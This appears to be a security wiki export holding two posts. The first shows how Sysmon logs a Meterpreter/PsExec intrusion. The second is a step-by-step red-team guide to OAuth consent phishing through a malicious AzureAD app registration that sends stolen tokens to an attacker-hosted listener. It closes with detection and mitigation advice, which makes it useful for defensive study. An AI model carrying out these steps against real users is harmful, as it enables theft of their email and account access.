Now let's see what Sysmon made of this. For context, my attacking machine is **192.168.1.15** and my victim machine is **192.168.1.124**

Sysmon has logged an Event ID1 (Process Creation):

[![](https://4.bp.blogspot.com/-NLIAT4l9-mI/WFCZJwpsatI/AAAAAAAAHSs/UFuRb6g33gMUajhoF648Bkv7e-JLt4d3ACLcB/s1600/2016-12-13_19-57-48.png)](https://4.bp.blogspot.com/-NLIAT4l9-mI/WFCZJwpsatI/AAAAAAAAHSs/UFuRb6g33gMUajhoF648Bkv7e-JLt4d3ACLcB/s1600/2016-12-13_19-57-48.png)

As you can see, there is tons of detail. This is a Meterpreter payload launching PowerShell.exe, hidden, with a Base64 encoded string. ( Note: This is cursery explanation, for more information on PsExec visit: <https://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified> )

This is far beyond the level of detail that a Security event log will show.

Now you know that a malicious piece of code was executed on your system, but you are still unsure if this piece of malware is communicating back to an attacker. Fear not, Sysmon has you covered there as well.

Shortly after Event ID1 was logged, we see an Event ID3 (NetworkConnect):

[![](https://4.bp.blogspot.com/-CqaYZ_uLWAA/WFCaUcnIJ-I/AAAAAAAAHS8/CS5sqelhsTMB8fa18oCe4-OlvqoWF7d8wCLcB/s1600/2016-12-13_20-02-11.png)](https://4.bp.blogspot.com/-CqaYZ_uLWAA/WFCaUcnIJ-I/AAAAAAAAHS8/CS5sqelhsTMB8fa18oCe4-OlvqoWF7d8wCLcB/s1600/2016-12-13_20-02-11.png)

Here we see my victim machine (192.168.1.124) connecting to the attacking machine (192.168.1.15) over SMB.

At this point, you have much more information regarding the malware that was just executed on your system; another piece of the puzzle.

An attacker is not going to just sit around and do nothing while "pwning" your box, they will try to escalate privilege, enumerate network information, dump clear text credentials and other fun stuff.

Thankfully, Sysmon can help here as well.

[![](https://2.bp.blogspot.com/-Da_P6I9T3PU/WFCbG8eEC8I/AAAAAAAAHTA/FFjPdZAe8csYgY8z32iVmB9EL3ISYr_pgCLcB/s1600/2016-12-13_20-06-17.png)](https://2.bp.blogspot.com/-Da_P6I9T3PU/WFCbG8eEC8I/AAAAAAAAHTA/FFjPdZAe8csYgY8z32iVmB9EL3ISYr_pgCLcB/s1600/2016-12-13_20-06-17.png)

In the above image, an attacker is determining what account their shell is running under - here is the flip side, what Sysmon saw:

[![](https://1.bp.blogspot.com/-PYH2f_ZpI_k/WFCbf5bWTNI/AAAAAAAAHTE/fmxCi2vBrssQ863YxG60_pjT95zdJcveQCLcB/s1600/2016-12-13_20-07-40.png)](https://1.bp.blogspot.com/-PYH2f_ZpI_k/WFCbf5bWTNI/AAAAAAAAHTE/fmxCi2vBrssQ863YxG60_pjT95zdJcveQCLcB/s1600/2016-12-13_20-07-40.png)

Another Event ID1 (ProcessCreate) - this time, we see whoami.exe being executed via cmd.exe

A useful way to think about the value of Sysmon - or any other defensively oriented security tool - is to compare its capabilities to the Cyber Kill Chain ( <http://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html> ). Sysmon enhances your visibility into a number of critical areas of this chain: delivery, exploitation, installation and command and control.

I hope to make a few more posts covering Sysmon, including more advanced configurations, filtering out noisy events, the detection of Mimikatz ( <https://github.com/gentilkiwi/mimikatz> ) and how to work with Sysmon events via PowerShell.

That's it for now.


# Lee's Posts


# Malicious AzureAD Application Registrations

In this post we will explore an entry point into how to leverage AzureAD app registrations for offensive purposes.

Before getting into it, I'd like to thank [@Antonlovesdnb](https://twitter.com/Antonlovesdnb) for helping me explore this further and the defensive guidance. Also a shoutout to [@dafthack](https://twitter.com/dafthack) for spitballing ideas about ways to abuse this. Cheers to you both :)

**UPDATE** Wanted to add some more shout outs and links to some awesome work others have done on or related to this:

[Azure App Services for Offensive Operations](https://medium.com/@rvrsh3ll/azure-app-services-for-offensive-operations-f1de99a83fa0) by [@424f424f](https://twitter.com/424f424f)

[Introducing the Office 365 Attack Toolkit](https://www.mdsec.co.uk/2019/07/introducing-the-office-365-attack-toolkit/) by [MDSecLabs](https://twitter.com/MDSecLabs)

## 1 - Background

It's also important I point out up front that nothing I am demonstarting I can take credit for. Evidence of this used in the wild was talked about [as mentionted here on Twitter](https://twitter.com/cglyer/status/1182394051674460165).

In AzureAD a user (unless mitigated which we'll talk about at the end of this post) can create and register a new app that will basically function as a redirector of sorts that asks a targeted user to grant certain permissions as defined in the app, then ask for the users consent to those permissions and then finally takes the OAuth token generated by this process and forwards it along somewhere else. That somewhere else in this case is an attacker controlled host.

## 2 - Limiting the Scenario

In this post I am operating under a compromised user account that has no special access or rights in Azure or AzureAD. This user, Alice, has no subscriptions or Azure roles assigned. This is also why mitigating this attack is quite important IMO since it requires practically nothing other than the compromised user exisiting in AzureAD and the ability to register new applications.

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fb980bd966d2186dc64ff01e5e1e2a02816347be0.png?generation=1591593215608870\&alt=media)

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F4a883ebdceb74a5db8019a1af7f4bcbf56b4c964.png?generation=1591593215646594\&alt=media)

## 3  - The Plan

Assume you've grabbed a users creds and used them to gain access to the Azure portal.

We're going to register a new application in AAD, set the redirect URL to our host (DO, AWS, Azure etc.) which is going to run an OAuth 'listener'. Once the user consents to the application, our listener will grab their OAuth token, relay it to the Microsoft **'/token'** endpoint which will give us back the **Access**, **ID** and **Refresh** tokens for the target user. The **Access** token being the one we're most interested in.

Once that has been accomplished, and I'm intentionally not going too much deeper here to leave more exploration up to the reader, we will take our acquired token and use the Microsoft Graph API to confirm everything works by pulling some basic information about the user we targeted.

## 4 - Execution (The Application)

Starting in Azure portal, log in as the assumed compromised user. Navigate to **Azure AD > App Registrations** and click the **+ New registration** button.

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F6afa134ab1b4fff0d326a9dc56e7d491bce53899.png?generation=1591593215999038\&alt=media)

On the **Register an application** page, here is where you will start defining the application. For the **Name** field, pick something non-suspect as this is the name everyone else will see under registered applications.

Another decision to make is **Supported account types** section. If you have a reason to want to leverage this compromised user's Azure tenant to attack another (**Multitenant**) or even against any free/personal Microsoft account, you can do that too (**Multitenant + personal Microsoft account**). I'll choose the latter for this example.

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F5ae70936262d259877807629595757c638e552df.png?generation=1591593216126305\&alt=media)

Next, I'm making the decision to set a **client secret**. The reason, I think, is depending on AzureAD and the application registration configuration, some apps are considered public or private when it comes to managing how the OAuth token gets passed around. I ran into an issue where setting this secret fixed things up and to be honest as of writing this, I'm not 100% sure why I had to but I'll explore it more.

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F325d350c615b1d0b9d1dd683e3e49022f121c619.png?generation=1591593216287462\&alt=media)

Click **+ New client secret** and give it a name. Once created it will display the secret. **Write this down somewhere for later**.

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F6021072313af86784b20a9fd360f66a401b6f6d4.png?generation=1591593218103307\&alt=media)

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fa8835c7b106255e14517286d6a7a609066f55d17.png?generation=1591593215858983\&alt=media)

Next go into the apps **API permissions** section. Here is where we are going to select (another exercise for the reader) what we wish our app (and ultimately the token we receive) to be able to access from the targeted user.

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F4c30d4d458dff3d81e1db5ba878844d5c8b634ef.png?generation=1591593226691780\&alt=media)

Click **+ Add a permission**, select Microsoft Graph (or anything else you want to try out) and pick the APIs of interest. Avoid selecting ones where [administrative consent is required](https://docs.microsoft.com/en-us/azure/active-directory/develop/application-consent-experience). Here's what I selected:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fa9a8dfd0c3ff58bdaafbe9283b8f16c1c97ae157.png?generation=1591593216741817\&alt=media)

In my attack scenario, I'm targeting users who by falling for the phish will expose access to their email. With this API permissions set, as the attacker we can read their contacts, emails and even send emails.

We are done configuring the application. Before moving on, make sure to note down your applications **client ID** which can be found in the apps **Overview** section.

When we construct the URL to deliver in our phishing email you will need the **client ID**, **redirect URL** and the **API permissions** you selected earlier.

## 5 - Execution (The OAuth Redirector)

For this step, I'm using a great utility which you can find on [my GitHub here](https://gist.github.com/invokethreatguy/c7480c04deda1a2d6ca0a4dc5b0fb016).

It is a fork so once again, all credit due to the author.

This tool is an OAuth server script written in Go. I leave it to you to setup your environment correctly.

On Digital Ocean to keep things simple, I spun up a Ubuntu 18 VPS and hosted this script at <https://ograb.invokethreat.cloud> during this example.

The script is commented well for what you need to change. I made a couple slight modifications that I want to point out:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F4952f2b21b5ec1c33ab5e41b83582a87a6f78ca8.png?generation=1591719467083797\&alt=media)

The **target** variable I have set to google.ca and is kinda silly. Realistically, this will be the final redirect location **after** you as the attacker have achieved the token grab. In a real engagement, you would likely want to redirect the user to something such as O365 or Outlook login pages. Or you could even take this further and use that redirect to bring the target user to a second credential grab such as a clone of Outlook login page. Again, let your creativity fly here ;)

The other modification I made that does not come part of the script is the **postData** variable. If you look closely, I've added the **client\_secret** string including the secret.

## 6 - Delivery

We are ready to phish our target user. How you do that...you guessed it! I leave that up to you. Here is an example of the link you would ultimately want the target user to click on:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F45d4a58e78f3a93de97b6bcb2a5273d5c5cd2da6.png?generation=1591593217447110\&alt=media)

When the user clicks the link, if they are not already authenticated they will be brought to the MS default login page. Once they authenticate, they will be brought to your malicious app and asked to consent. Notice how in the beginning of the URL, it is originating from a Microsoft domain and very much helps with the lure.

Also notice the consent being asked of the user. The consent will list out the APIs you select in your app registration. Because of this, another consideration should be made here to minimize alerting the target user to something suspicious. Use only the APIs you need to achieve your objective.

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F5bdafa97ef1cf75cb7b03eb59a928ecc9521f2b7.png?generation=1591593218334228\&alt=media)

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F873b40c006b70d90116121b3c9ab649550edd642.png?generation=1591593217140210\&alt=media)

Now once the user has gone through the authentication and consent process, your OAuth server should have a captured their token.

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Ff9687539ddb046695f547262c18a858730308914.png?generation=1591593216589987\&alt=media)

Finally, to confirm you've captured everything correctly, a simple check to the MS Graph API to return account information about this user will help:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fd6e9ebcfbd3ea66676a074b86a29361236ff4a45.png?generation=1591593216954234\&alt=media)

and output upon success should look something like this:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F18a4ec307a37a0a1e6b462a0afa97c56d42a7b01.png?generation=1591593217982924\&alt=media)

## 7 - Detections and Mitigations

A lot of what you can/cannot do at your organization will be hard for me to dictate so I thought I'll just list out some of the things I've observed playing around with this and also some resources that I've come across.

### Remove users ability to register applications

From my understanding if you do **not** have an **AzureAD P1/P2 license** (will confirm this), your only option is to enable/disable registrations for **all** users. While you're at it very little users would actually need Azure portal access so get rid of that too :)

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F89d04eec5b7e2d0f1d6471bc04ab523aabd41acf.png?generation=1591593217683819\&alt=media)

### Leverage the Consent operation in the AAD Audit Log

It might not be much but its a start. The users who are phished with something like this need to **consent** to the malicious app and **AzureAD Audit Log** records this action:

*sry test2 was the app name while I was working on this* ![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F0d25f87a950aa553408093471a8298246976b4b5.png?generation=1591593217637617\&alt=media)

### Leverage Hunt Query-Fu

I was crawling through some Azure Sentinel stuff on GitHub and there's a few queries I noticed that can help with detection of OAuth/App Consent behaviour:

<https://github.com/invokethreatguy/Azure-Sentinel/blob/master/Detections/AuditLogs/RareApplicationConsent.yaml>

<https://github.com/invokethreatguy/Azure-Sentinel/blob/master/Detections/SigninLogs/AnomalousUserAppSigninLocationIncrease-detection.yaml>

Again these are forks so all credit due to the authors.

I'm sure there's more that can be used to enhance detection capability as well as mitigations without having to disable something like app registration for every AAD user. This is just some stuff I found for the time being and will update this post with more info as it comes in :)

## 8 - Closing

This attack, which I only leveraged for the very first time on a recent engagement, is not all that new. It's an OAuth token grab that in this scenario is focused on Azure and the AAD app registration feature. There's not exploit. There's no real *hack* going on. These are features.

Which IMO, makes it pretty nasty. You may also notice I didn't give away anything devastating here. You can phish a single user (obvy you could do more) and get back an OAuth token which you can create an access token out of to do some stuff with.

I have a feeling that the possibilities here could run pretty deep.

Hope this post was interesting and of some use.

Cheers :)


# Members


